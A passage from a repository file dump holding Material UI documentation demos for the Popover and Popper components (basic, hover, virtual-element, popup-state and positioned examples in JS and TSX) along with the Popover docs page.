'top',\n    anchorOriginHorizontal: 'left',\n    transformOriginVertical: 'top',\n    transformOriginHorizontal: 'left',\n    positionTop: 200, // Just so the popover can be spotted more easily\n    positionLeft: 400, // Same as above\n    anchorReference: 'anchorEl',\n  });\n\n  const {\n    open,\n    anchorOriginVertical,\n    anchorOriginHorizontal,\n    transformOriginVertical,\n    transformOriginHorizontal,\n    positionTop,\n    positionLeft,\n    anchorReference,\n  } = state;\n\n  const handleChange = (event) => {\n    setState({\n      ...state,\n      [event.target.name]: event.target.value,\n    });\n  };\n\n  const handleNumberInputChange = (key) => (event) => {\n    setState({\n      ...state,\n      [key]: parseInt(event.target.value, 10),\n    });\n  };\n\n  const handleClickButton = () => {\n    setState({\n      ...state,\n      open: true,\n    });\n  };\n\n  const handleClose = () => {\n    setState({\n      ...state,\n      open: false,\n    });\n  };\n\n  let mode = '';\n\n  if (anchorReference === 'anchorPosition') {\n    mode = `\n  anchorReference=\"${anchorReference}\"\n  anchorPosition={{ top: ${positionTop}, left: ${positionLeft} }}`;\n  }\n\n  const jsx = `\n<Popover ${mode}\n  anchorOrigin={{\n    vertical: '${anchorOriginVertical}',\n    horizontal: '${anchorOriginHorizontal}',\n  }}\n  transformOrigin={{\n    vertical: '${transformOriginVertical}',\n    horizontal: '${transformOriginHorizontal}',\n  }}\n>\n  The content of the Popover.\n</Popover>\n`;\n\n  const radioAnchorClasses = {\n    color: green[600],\n    '&.Mui-checked': {\n      color: green[500],\n    },\n  };\n\n  return (\n    <div>\n      <Grid container sx={{ justifyContent: 'center' }}>\n        <Grid sx={{ position: 'relative', mb: 4 }}>\n          <Button ref={anchorRef} variant=\"contained\" onClick={handleClickButton}>\n            Open Popover\n          </Button>\n          {anchorReference === 'anchorEl' && (\n            <Box\n              sx={{\n                bgcolor: green[500],\n                width: 10,\n                height: 10,\n                borderRadius: '50%',\n                position: 'absolute',\n              }}\n              style={{\n                ...inlineStyles.anchorVertical[anchorOriginVertical],\n                ...inlineStyles.anchorHorizontal[anchorOriginHorizontal],\n              }}\n            />\n          )}\n        </Grid>\n      </Grid>\n      <Popover\n        open={open}\n        anchorEl={anchorRef.current}\n        anchorReference={anchorReference}\n        anchorPosition={{\n          top: positionTop,\n          left: positionLeft,\n        }}\n        onClose={handleClose}\n        anchorOrigin={{\n          vertical: anchorOriginVertical,\n          horizontal: anchorOriginHorizontal,\n        }}\n        transformOrigin={{\n          vertical: transformOriginVertical,\n          horizontal: transformOriginHorizontal,\n        }}\n      >\n        <Typography sx={{ m: 2 }}>The content of the Popover.</Typography>\n      </Popover>\n      <Grid container spacing={2}>\n        <Grid\n          size={{\n            xs: 12,\n            sm: 6,\n          }}\n        >\n          <FormControl component=\"fieldset\">\n            <FormLabel component=\"legend\">anchorReference</FormLabel>\n            <RadioGroup\n              row\n              aria-label=\"anchor reference\"\n              name=\"anchorReference\"\n              value={anchorReference}\n              onChange={handleChange}\n            >\n              <FormControlLabel\n                value=\"anchorEl\"\n                control={<Radio />}\n                label=\"anchorEl\"\n              />\n              <FormControlLabel\n                value=\"anchorPosition\"\n                control={<Radio />}\n                label=\"anchorPosition\"\n              />\n            </RadioGroup>\n          </FormControl>\n        </Grid>\n        <Grid\n          size={{\n            xs: 12,\n            sm: 6,\n          }}\n        >\n          <FormControl variant=\"standard\">\n            <InputLabel htmlFor=\"position-top\">anchorPosition.top</InputLabel>\n            <Input\n              id=\"position-top\"\n              type=\"number\"\n              value={positionTop}\n              onChange={handleNumberInputChange('positionTop')}\n            />\n          </FormControl>\n          &nbsp;\n          <FormControl variant=\"standard\">\n            <InputLabel htmlFor=\"position-left\">anchorPosition.left</InputLabel>\n            <Input\n              id=\"position-left\"\n              type=\"number\"\n              value={positionLeft}\n              onChange={handleNumberInputChange('positionLeft')}\n            />\n          </FormControl>\n        </Grid>\n        <Grid\n          size={{\n            xs: 12,\n            sm: 6,\n          }}\n        >\n          <FormControl component=\"fieldset\">\n            <FormLabel component=\"legend\">anchorOrigin.vertical</FormLabel>\n            <RadioGroup\n              aria-label=\"anchor origin vertical\"\n              name=\"anchorOriginVertical\"\n              value={anchorOriginVertical}\n              onChange={handleChange}\n            >\n              <FormControlLabel\n                value=\"top\"\n                control={<Radio sx={radioAnchorClasses} />}\n                label=\"Top\"\n              />\n              <FormControlLabel\n                value=\"center\"\n                control={<Radio sx={radioAnchorClasses} />}\n                label=\"Center\"\n              />\n              <FormControlLabel\n                value=\"bottom\"\n                control={<Radio sx={radioAnchorClasses} />}\n                label=\"Bottom\"\n              />\n            </RadioGroup>\n          </FormControl>\n        </Grid>\n        <Grid\n          size={{\n            xs: 12,\n            sm: 6,\n          }}\n        >\n          <FormControl component=\"fieldset\">\n            <FormLabel component=\"legend\">transformOrigin.vertical</FormLabel>\n            <RadioGroup\n              aria-label=\"transform origin vertical\"\n              name=\"transformOriginVertical\"\n              value={transformOriginVertical}\n              onChange={handleChange}\n            >\n              <FormControlLabel value=\"top\" control={<Radio />} label=\"Top\" />\n              <FormControlLabel\n                value=\"center\"\n                control={<Radio color=\"primary\" />}\n                label=\"Center\"\n              />\n              <FormControlLabel\n                value=\"bottom\"\n                control={<Radio color=\"primary\" />}\n                label=\"Bottom\"\n              />\n            </RadioGroup>\n          </FormControl>\n        </Grid>\n        <Grid\n          size={{\n            xs: 12,\n            sm: 6,\n          }}\n        >\n          <FormControl component=\"fieldset\">\n            <FormLabel component=\"legend\">anchorOrigin.horizontal</FormLabel>\n            <RadioGroup\n              row\n              aria-label=\"anchor origin horizontal\"\n              name=\"anchorOriginHorizontal\"\n              value={anchorOriginHorizontal}\n              onChange={handleChange}\n            >\n              <FormControlLabel\n                value=\"left\"\n                control={<Radio sx={radioAnchorClasses} />}\n                label=\"Left\"\n              />\n              <FormControlLabel\n                value=\"center\"\n                control={<Radio sx={radioAnchorClasses} />}\n                label=\"Center\"\n              />\n              <FormControlLabel\n                value=\"right\"\n                control={<Radio sx={radioAnchorClasses} />}\n                label=\"Right\"\n              />\n            </RadioGroup>\n          </FormControl>\n        </Grid>\n        <Grid\n          size={{\n            xs: 12,\n            sm: 6,\n          }}\n        >\n          <FormControl component=\"fieldset\">\n            <FormLabel component=\"legend\">transformOrigin.horizontal</FormLabel>\n            <RadioGroup\n              row\n              aria-label=\"transform origin horizontal\"\n              name=\"transformOriginHorizontal\"\n              value={transformOriginHorizontal}\n              onChange={handleChange}\n            >\n              <FormControlLabel\n                value=\"left\"\n                control={<Radio color=\"primary\" />}\n                label=\"Left\"\n              />\n              <FormControlLabel\n                value=\"center\"\n                control={<Radio color=\"primary\" />}\n                label=\"Center\"\n              />\n              <FormControlLabel\n                value=\"right\"\n                control={<Radio color=\"primary\" />}\n                label=\"Right\"\n              />\n            </RadioGroup>\n          </FormControl>\n        </Grid>\n      </Grid>\n      <HighlightedCode code={jsx} language=\"jsx\" />\n    </div>\n  );\n}\n\nexport default AnchorPlayground;\n"
  },
  {
    "path": "docs/data/material/components/popover/BasicPopover.js",
    "content": "import * as React from 'react';\nimport Popover from '@mui/material/Popover';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\n\nexport default function BasicPopover() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  const open = Boolean(anchorEl);\n  const id = open ? 'simple-popover' : undefined;\n\n  return (\n    <div>\n      <Button aria-describedby={id} variant=\"contained\" onClick={handleClick}>\n        Open Popover\n      </Button>\n      <Popover\n        id={id}\n        open={open}\n        anchorEl={anchorEl}\n        onClose={handleClose}\n        anchorOrigin={{\n          vertical: 'bottom',\n          horizontal: 'left',\n        }}\n      >\n        <Typography sx={{ p: 2 }}>The content of the Popover.</Typography>\n      </Popover>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popover/BasicPopover.tsx",
    "content": "import * as React from 'react';\nimport Popover from '@mui/material/Popover';\nimport Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\n\nexport default function BasicPopover() {\n  const [anchorEl, setAnchorEl] = React.useState<HTMLButtonElement | null>(null);\n\n  const handleClick = (event: React.MouseEvent<HTMLButtonElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  const open = Boolean(anchorEl);\n  const id = open ? 'simple-popover' : undefined;\n\n  return (\n    <div>\n      <Button aria-describedby={id} variant=\"contained\" onClick={handleClick}>\n        Open Popover\n      </Button>\n      <Popover\n        id={id}\n        open={open}\n        anchorEl={anchorEl}\n        onClose={handleClose}\n        anchorOrigin={{\n          vertical: 'bottom',\n          horizontal: 'left',\n        }}\n      >\n        <Typography sx={{ p: 2 }}>The content of the Popover.</Typography>\n      </Popover>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popover/BasicPopover.tsx.preview",
    "content": "<Button aria-describedby={id} variant=\"contained\" onClick={handleClick}>\n  Open Popover\n</Button>\n<Popover\n  id={id}\n  open={open}\n  anchorEl={anchorEl}\n  onClose={handleClose}\n  anchorOrigin={{\n    vertical: 'bottom',\n    horizontal: 'left',\n  }}\n>\n  <Typography sx={{ p: 2 }}>The content of the Popover.</Typography>\n</Popover>"
  },
  {
    "path": "docs/data/material/components/popover/MouseHoverPopover.js",
    "content": "import * as React from 'react';\nimport Popover from '@mui/material/Popover';\nimport Typography from '@mui/material/Typography';\n\nexport default function MouseHoverPopover() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n\n  const handlePopoverOpen = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handlePopoverClose = () => {\n    setAnchorEl(null);\n  };\n\n  const open = Boolean(anchorEl);\n\n  return (\n    <div>\n      <Typography\n        aria-owns={open ? 'mouse-over-popover' : undefined}\n        aria-haspopup=\"true\"\n        onMouseEnter={handlePopoverOpen}\n        onMouseLeave={handlePopoverClose}\n      >\n        Hover with a Popover.\n      </Typography>\n      <Popover\n        id=\"mouse-over-popover\"\n        sx={{ pointerEvents: 'none' }}\n        open={open}\n        anchorEl={anchorEl}\n        anchorOrigin={{\n          vertical: 'bottom',\n          horizontal: 'left',\n        }}\n        transformOrigin={{\n          vertical: 'top',\n          horizontal: 'left',\n        }}\n        onClose={handlePopoverClose}\n        disableRestoreFocus\n      >\n        <Typography sx={{ p: 1 }}>I use Popover.</Typography>\n      </Popover>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popover/MouseHoverPopover.tsx",
    "content": "import * as React from 'react';\nimport Popover from '@mui/material/Popover';\nimport Typography from '@mui/material/Typography';\n\nexport default function MouseHoverPopover() {\n  const [anchorEl, setAnchorEl] = React.useState<HTMLElement | null>(null);\n\n  const handlePopoverOpen = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handlePopoverClose = () => {\n    setAnchorEl(null);\n  };\n\n  const open = Boolean(anchorEl);\n\n  return (\n    <div>\n      <Typography\n        aria-owns={open ? 'mouse-over-popover' : undefined}\n        aria-haspopup=\"true\"\n        onMouseEnter={handlePopoverOpen}\n        onMouseLeave={handlePopoverClose}\n      >\n        Hover with a Popover.\n      </Typography>\n      <Popover\n        id=\"mouse-over-popover\"\n        sx={{ pointerEvents: 'none' }}\n        open={open}\n        anchorEl={anchorEl}\n        anchorOrigin={{\n          vertical: 'bottom',\n          horizontal: 'left',\n        }}\n        transformOrigin={{\n          vertical: 'top',\n          horizontal: 'left',\n        }}\n        onClose={handlePopoverClose}\n        disableRestoreFocus\n      >\n        <Typography sx={{ p: 1 }}>I use Popover.</Typography>\n      </Popover>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popover/PopoverPopupState.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport Popover from '@mui/material/Popover';\nimport PopupState, { bindTrigger, bindPopover } from 'material-ui-popup-state';\n\nexport default function PopoverPopupState() {\n  return (\n    <PopupState variant=\"popover\" popupId=\"demo-popup-popover\">\n      {(popupState) => (\n        <div>\n          <Button variant=\"contained\" {...bindTrigger(popupState)}>\n            Open Popover\n          </Button>\n          <Popover\n            {...bindPopover(popupState)}\n            anchorOrigin={{\n              vertical: 'bottom',\n              horizontal: 'center',\n            }}\n            transformOrigin={{\n              vertical: 'top',\n              horizontal: 'center',\n            }}\n          >\n            <Typography sx={{ p: 2 }}>The content of the Popover.</Typography>\n          </Popover>\n        </div>\n      )}\n    </PopupState>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popover/PopoverPopupState.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport Popover from '@mui/material/Popover';\nimport PopupState, { bindTrigger, bindPopover } from 'material-ui-popup-state';\n\nexport default function PopoverPopupState() {\n  return (\n    <PopupState variant=\"popover\" popupId=\"demo-popup-popover\">\n      {(popupState) => (\n        <div>\n          <Button variant=\"contained\" {...bindTrigger(popupState)}>\n            Open Popover\n          </Button>\n          <Popover\n            {...bindPopover(popupState)}\n            anchorOrigin={{\n              vertical: 'bottom',\n              horizontal: 'center',\n            }}\n            transformOrigin={{\n              vertical: 'top',\n              horizontal: 'center',\n            }}\n          >\n            <Typography sx={{ p: 2 }}>The content of the Popover.</Typography>\n          </Popover>\n        </div>\n      )}\n    </PopupState>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popover/VirtualElementPopover.js",
    "content": "import * as React from 'react';\nimport Popover from '@mui/material/Popover';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\n\nexport default function VirtualElementPopover() {\n  const [open, setOpen] = React.useState(false);\n  const [anchorEl, setAnchorEl] = React.useState(null);\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleMouseUp = () => {\n    const selection = window.getSelection();\n\n    // Skip if selection has a length of 0\n    if (!selection || selection.anchorOffset === selection.focusOffset) {\n      return;\n    }\n\n    const getBoundingClientRect = () => {\n      return selection.getRangeAt(0).getBoundingClientRect();\n    };\n\n    setOpen(true);\n\n    setAnchorEl({ getBoundingClientRect, nodeType: 1 });\n  };\n\n  const id = open ? 'virtual-element-popover' : undefined;\n\n  return (\n    <div>\n      <Typography aria-describedby={id} onMouseUp={handleMouseUp}>\n        Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ipsum purus,\n        bibendum sit amet vulputate eget, porta semper ligula. Donec bibendum\n        vulputate erat, ac fringilla mi finibus nec. Donec ac dolor sed dolor\n        porttitor blandit vel vel purus. Fusce vel malesuada ligula. Nam quis\n        vehicula ante, eu finibus est. Proin ullamcorper fermentum orci, quis finibus\n        massa. Nunc lobortis, massa ut rutrum ultrices, metus metus finibus ex, sit\n        amet facilisis neque enim sed neque. Quisque accumsan metus vel maximus\n        consequat. Suspendisse lacinia tellus a libero volutpat maximus.\n      </Typography>\n      <Popover\n        id={id}\n        open={open}\n        anchorEl={anchorEl}\n        anchorOrigin={{ vertical: 'bottom', horizontal: 'left' }}\n        onClose={handleClose}\n        disableAutoFocus\n      >\n        <Paper>\n          <Typography sx={{ p: 2 }}>The content of the Popover.</Typography>\n        </Paper>\n      </Popover>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popover/VirtualElementPopover.tsx",
    "content": "import * as React from 'react';\nimport Popover, { PopoverProps } from '@mui/material/Popover';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\n\nexport default function VirtualElementPopover() {\n  const [open, setOpen] = React.useState(false);\n  const [anchorEl, setAnchorEl] = React.useState<PopoverProps['anchorEl']>(null);\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleMouseUp = () => {\n    const selection = window.getSelection();\n\n    // Skip if selection has a length of 0\n    if (!selection || selection.anchorOffset === selection.focusOffset) {\n      return;\n    }\n\n    const getBoundingClientRect = () => {\n      return selection.getRangeAt(0).getBoundingClientRect();\n    };\n\n    setOpen(true);\n\n    setAnchorEl({ getBoundingClientRect, nodeType: 1 });\n  };\n\n  const id = open ? 'virtual-element-popover' : undefined;\n\n  return (\n    <div>\n      <Typography aria-describedby={id} onMouseUp={handleMouseUp}>\n        Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ipsum purus,\n        bibendum sit amet vulputate eget, porta semper ligula. Donec bibendum\n        vulputate erat, ac fringilla mi finibus nec. Donec ac dolor sed dolor\n        porttitor blandit vel vel purus. Fusce vel malesuada ligula. Nam quis\n        vehicula ante, eu finibus est. Proin ullamcorper fermentum orci, quis finibus\n        massa. Nunc lobortis, massa ut rutrum ultrices, metus metus finibus ex, sit\n        amet facilisis neque enim sed neque. Quisque accumsan metus vel maximus\n        consequat. Suspendisse lacinia tellus a libero volutpat maximus.\n      </Typography>\n      <Popover\n        id={id}\n        open={open}\n        anchorEl={anchorEl}\n        anchorOrigin={{ vertical: 'bottom', horizontal: 'left' }}\n        onClose={handleClose}\n        disableAutoFocus\n      >\n        <Paper>\n          <Typography sx={{ p: 2 }}>The content of the Popover.</Typography>\n        </Paper>\n      </Popover>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popover/popover.md",
    "content": "---\nproductId: material-ui\ntitle: React Popover component\ncomponents: Grow, Popover\ngithubLabel: 'component: Popover'\ngithubSource: packages/mui-material/src/Popover\n---\n\n# Popover\n\n<p class=\"description\">A Popover can be used to display some content on top of another.</p>\n\nThings to know when using the `Popover` component:\n\n- The component is built on top of the [`Modal`](/material-ui/react-modal/) component.\n- The scroll and click away are blocked unlike with the [`Popper`](/material-ui/react-popper/) component.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Basic Popover\n\n{{\"demo\": \"BasicPopover.js\"}}\n\n## Anchor playground\n\nUse the radio buttons to adjust the `anchorOrigin` and `transformOrigin` positions.\nYou can also set the `anchorReference` to `anchorPosition` or `anchorEl`.\nWhen it is `anchorPosition`, the component will, instead of `anchorEl`,\nrefer to the `anchorPosition` prop which you can adjust to set\nthe position of the popover.\n\n{{\"demo\": \"AnchorPlayground.js\", \"hideToolbar\": true}}\n\n## Mouse hover interaction\n\nThis demo demonstrates how to use the `Popover` component with `mouseenter` and `mouseleave` events to achieve popover behavior.\n\n{{\"demo\": \"MouseHoverPopover.js\"}}\n\n## Virtual element\n\nThe value of the `anchorEl` prop can be a reference to a fake DOM element.\nYou need to provide an object with the following interface:\n\n```ts\ninterface PopoverVirtualElement {\n  nodeType: 1;\n  getBoundingClientRect: () => DOMRect;\n}\n```\n\nHighlight part of the text to see the popover:\n\n{{\"demo\": \"VirtualElementPopover.js\"}}\n\nFor more information on the virtual element's properties, see the following resources:\n\n- [getBoundingClientRect](https://developer.mozilla.org/en-US/docs/Web/API/Element/getBoundingClientRect)\n- [DOMRect](https://developer.mozilla.org/en-US/docs/Web/API/DOMRect)\n- [Node types](https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType)\n\n:::warning\nThe usage of a virtual element for the Popover component requires the `nodeType` property.\nThis is different from virtual elements used for the [`Popper`](/material-ui/react-popper/#virtual-element) or [`Tooltip`](/material-ui/react-tooltip/#virtual-element) components, both of which don't require the property.\n:::\n\n## Supplementary projects\n\nFor more advanced use cases, you might be able to take advantage of:\n\n### material-ui-popup-state\n\n![stars](https://img.shields.io/github/stars/jcoreio/material-ui-popup-state?style=social&label=Star)\n![npm downloads](https://img.shields.io/npm/dm/material-ui-popup-state.svg)\n\nThe package [`material-ui-popup-state`](https://github.com/jcoreio/material-ui-popup-state) that takes care of popover state for you in most cases.\n\n{{\"demo\": \"PopoverPopupState.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/popper/PopperPopupState.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport Popper from '@mui/material/Popper';\nimport PopupState, { bindToggle, bindPopper } from 'material-ui-popup-state';\nimport Fade from '@mui/material/Fade';\nimport Paper from '@mui/material/Paper';\n\nexport default function PopperPopupState() {\n  return (\n    <PopupState variant=\"popper\" popupId=\"demo-popup-popper\">\n      {(popupState) => (\n        <div>\n          <Button variant=\"contained\" {...bindToggle(popupState)}>\n            Toggle Popper\n          </Button>\n          <Popper {...bindPopper(popupState)} transition>\n            {({ TransitionProps }) => (\n              <Fade {...TransitionProps} timeout={350}>\n                <Paper>\n                  <Typography sx={{ p: 2 }}>The content of the Popper.</Typography>\n                </Paper>\n              </Fade>\n            )}\n          </Popper>\n        </div>\n      )}\n    </PopupState>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/PopperPopupState.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Button from '@mui/material/Button';\nimport Popper from '@mui/material/Popper';\nimport PopupState, { bindToggle, bindPopper } from 'material-ui-popup-state';\nimport Fade from '@mui/material/Fade';\nimport Paper from '@mui/material/Paper';\n\nexport default function PopperPopupState() {\n  return (\n    <PopupState variant=\"popper\" popupId=\"demo-popup-popper\">\n      {(popupState) => (\n        <div>\n          <Button variant=\"contained\" {...bindToggle(popupState)}>\n            Toggle Popper\n          </Button>\n          <Popper {...bindPopper(popupState)} transition>\n            {({ TransitionProps }) => (\n              <Fade {...TransitionProps} timeout={350}>\n                <Paper>\n                  <Typography sx={{ p: 2 }}>The content of the Popper.</Typography>\n                </Paper>\n              </Fade>\n            )}\n          </Popper>\n        </div>\n      )}\n    </PopupState>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/PositionedPopper.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Popper from '@mui/material/Popper';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\nimport Fade from '@mui/material/Fade';\nimport Paper from '@mui/material/Paper';\n\nexport default function PositionedPopper() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const [open, setOpen] = React.useState(false);\n  const [placement, setPlacement] = React.useState();\n\n  const handleClick = (newPlacement) => (event) => {\n    setAnchorEl(event.currentTarget);\n    setOpen((prev) => placement !== newPlacement || !prev);\n    setPlacement(newPlacement);\n  };\n\n  return (\n    <Box sx={{ width: 500 }}>\n      <Popper\n        // Note: The following zIndex style is specifically for documentation purposes and may not be necessary in your application.\n        sx={{ zIndex: 1200 }}\n        open={open}\n        anchorEl={anchorEl}\n        placement={placement}\n        transition\n      >\n        {({ TransitionProps }) => (\n          <Fade {...TransitionProps} timeout={350}>\n            <Paper>\n              <Typography sx={{ p: 2 }}>The content of the Popper.</Typography>\n            </Paper>\n          </Fade>\n        )}\n      </Popper>\n      <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n        <Button onClick={handleClick('top-start')}>top-start</Button>\n        <Button onClick={handleClick('top')}>top</Button>\n        <Button onClick={handleClick('top-end')}>top-end</Button>\n      </Stack>\n      <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n        <Stack direction=\"column\" sx={{ alignItems: 'flex-start' }}>\n          <Button onClick={handleClick('left-start')}>left-start</Button>\n          <Button onClick={handleClick('left')}>left</Button>\n          <Button onClick={handleClick('left-end')}>left-end</Button>\n        </Stack>\n        <Stack direction=\"column\" sx={{ alignItems: 'flex-end' }}>\n          <Button onClick={handleClick('right-start')}>right-start</Button>\n          <Button onClick={handleClick('right')}>right</Button>\n          <Button onClick={handleClick('right-end')}>right-end</Button>\n        </Stack>\n      </Box>\n      <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n        <Button onClick={handleClick('bottom-start')}>bottom-start</Button>\n        <Button onClick={handleClick('bottom')}>bottom</Button>\n        <Button onClick={handleClick('bottom-end')}>bottom-end</Button>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/PositionedPopper.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Popper, { PopperPlacementType } from '@mui/material/Popper';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\nimport Fade from '@mui/material/Fade';\nimport Paper from '@mui/material/Paper';\n\nexport default function PositionedPopper() {\n  const [anchorEl, setAnchorEl] = React.useState<HTMLButtonElement | null>(null);\n  const [open, setOpen] = React.useState(false);\n  const [placement, setPlacement] = React.useState<PopperPlacementType>();\n\n  const handleClick =\n    (newPlacement: PopperPlacementType) =>\n    (event: React.MouseEvent<HTMLButtonElement>) => {\n      setAnchorEl(event.currentTarget);\n      setOpen((prev) => placement !== newPlacement || !prev);\n      setPlacement(newPlacement);\n    };\n\n  return (\n    <Box sx={{ width: 500 }}>\n      <Popper\n        // Note: The following zIndex style is specifically for documentation purposes and may not be necessary in your application.\n        sx={{ zIndex: 1200 }}\n        open={open}\n        anchorEl={anchorEl}\n        placement={placement}\n        transition\n      >\n        {({ TransitionProps }) => (\n          <Fade {...TransitionProps} timeout={350}>\n            <Paper>\n              <Typography sx={{ p: 2 }}>The content of the Popper.</Typography>\n            </Paper>\n          </Fade>\n        )}\n      </Popper>\n      <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n        <Button onClick={handleClick('top-start')}>top-start</Button>\n        <Button onClick={handleClick('top')}>top</Button>\n        <Button onClick={handleClick('top-end')}>top-end</Button>\n      </Stack>\n      <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n        <Stack direction=\"column\" sx={{ alignItems: 'flex-start' }}>\n          <Button onClick={handleClick('left-start')}>left-start</Button>\n          <Button onClick={handleClick('left')}>left</Button>\n          <Button onClick={handleClick('left-end')}>left-end</Button>\n        </Stack>\n        <Stack direction=\"column\" sx={{ alignItems: 'flex-end' }}>\n          <Button onClick={handleClick('right-start')}>right-start</Button>\n          <Button onClick={handleClick('right')}>right</Button>\n          <Button onClick={handleClick('right-end')}>right-end</Button>\n        </Stack>\n      </Box>\n      <Stack direction=\"row\" sx={{ justifyContent: 'center' }}>\n        <Button onClick={handleClick('bottom-start')}>bottom-start</Button>\n        <Button onClick={handleClick('bottom')}>bottom</Button>\n        <Button onClick={handleClick('bottom-end')}>bottom-end</Button>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/popper/ScrollPlayground.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport MuiPopper from '@mui/material/Popper';\nimport Paper from '@mui/material/Paper';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport Switch from '@mui/material/Switch';\nimport TextField from '@mui/material/TextField';\nimport FormGroup from '@mui/material/FormGroup';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nconst Popper = styled(MuiPopper, {\n  shouldForwardProp: (prop) => prop !== 'arrow',\n})(({ theme }) => ({\n  zIndex: 1,\n  '& > div': {\n    position: 'relative',\n  },\n  '&[data-popper-placement*=\"bottom\"]': {\n    '& .MuiPopper-arrow': {\n      top: 0,\n      left: 0,\n      marginTop: '-0.9em',\n      width: '3em',\n      height: '1em',\n      '&::before': {\n        borderWidth: '0 1em 1em 1em',\n        borderColor: `transparent transparent ${theme.palette.background.paper} transparent`,\n      },\n    },\n  },\n  '&[data-popper-placement*=\"top\"]': {\n    '& .MuiPopper-arrow': {\n      bottom: 0,\n      left: 0,\n      marginBottom: '-0.9em',\n      width: '3em',\n      height: '1em',\n      '&::before': {\n        borderWidth: '1em 1em 0 1em',\n        borderColor: `${theme.palette.background.paper} transparent transparent transparent`,\n      },\n    },\n  },\n  '&[data-popper-placement*=\"right\"]': {\n    '& .MuiPopper-arrow': {\n      left: 0,\n      marginLeft: '-0.9em',\n      height: '3em',\n      width: '1em',\n      '&::before': {\n        borderWidth: '1em 1em 1em 0',\n        borderColor: `transparent ${theme.palette.background.paper} transparent transparent`,\n      },\n    },\n  },\n  '&[data-popper-placement*=\"left\"]': {\n    '& .MuiPopper-arrow': {\n      right: 0,\n      marginRight: '-0.9em',\n      height: '3em',\n      width: '1em',\n      '&::before': {\n        borderWidth: '1em 0 1em 1em',\n        borderColor: `transparent transparent transparent ${theme.palette.background.paper}`,\n      },\n    },\n  },\n  variants: [\n    {\n      props: ({ arrow }) => arrow,\n      style: {\n        '&[data-popper-placement*=\"bottom\"]': {\n          '& > div': {\n            marginTop: 2,\n          },\n        },\n      },\n    },\n    {\n      props: ({ arrow }) => !arrow,\n      style: {\n        '&[data-popper-placement*=\"bottom\"]': {\n          '& > div': {\n            marginTop: 0,\n          },\n        },\n      },\n    },\n    {\n      props: ({ arrow }) => arrow,\n      style: {\n        '&[data-popper-placement*=\"top\"]': {\n          '& > div': {\n            marginBottom: 2,\n          },\n        },\n      },\n    },\n    {\n      props: ({ arrow }) => !arrow,\n      style: {\n        '&[data-popper-placement*=\"top\"]': {\n          '& > div': {\n            marginBottom: 0,\n          },\n        },\n      },\n    },\n    {\n      props: ({ arrow }) => arrow,\n      style: {\n        '&[data-popper-placement*=\"right\"]': {\n          '& > div': {\n            marginLeft: 2,\n          },\n        },\n      },\n    },\n    {\n      props: ({ arrow }) => !arrow,\n      style: {\n        '&[data-popper-placement*=\"right\"]': {\n          '& > div': {\n            marginLeft: 0,\n          },\n        },\n      },\n    },\n    {\n      props: ({ arrow }) => arrow,\n      style: {\n        '&[data-popper-placement*=\"left\"]': {\n          '& > div': {\n            marginRight: 2,\n          },\n        },\n      },\n    },\n    {\n      props: ({ arrow }) => !arrow,\n      style: {\n        '&[data-popper-placement*=\"left\"]': {\n          '& > div': {\n            marginRight: 